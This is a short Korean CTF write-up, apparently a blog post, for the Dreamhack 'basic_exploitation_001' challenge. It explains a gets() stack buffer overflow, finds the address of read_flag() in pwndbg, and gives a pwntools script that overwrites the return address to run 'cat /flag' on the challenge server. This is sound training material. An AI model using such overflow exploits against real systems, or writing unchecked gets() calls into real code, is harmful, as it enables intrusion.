반응형
basic_exploitation_001
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
입력 길이에 대한 검증이 없다. 따라서 BOF가 발생한다.
read_flag()
함수는 flag를 읽는 코드이므로 RET을read_flag()
주소로 덮으면 flag를 얻을 수 있다.
read_flag()
주소를 구해보자.
pwndbg> p read_flag
$1 = {<text variable, no debug info>} 0x80485b9 <read_flag>
gdb로 read_flag()
주소를 출력한 결과다.
- 0x80485b9다.
RET을 0x80485b9으로 덮으면 flag를 획득할 수 있다.
from pwn import *
import warnings
warnings.filterwarnings( 'ignore' )
p = remote('host3.dreamhack.games',19252)
payload = b"\x90"*132
payload += p32(0x080485b9)
p.sendline(payload)
p.interactive()
반응형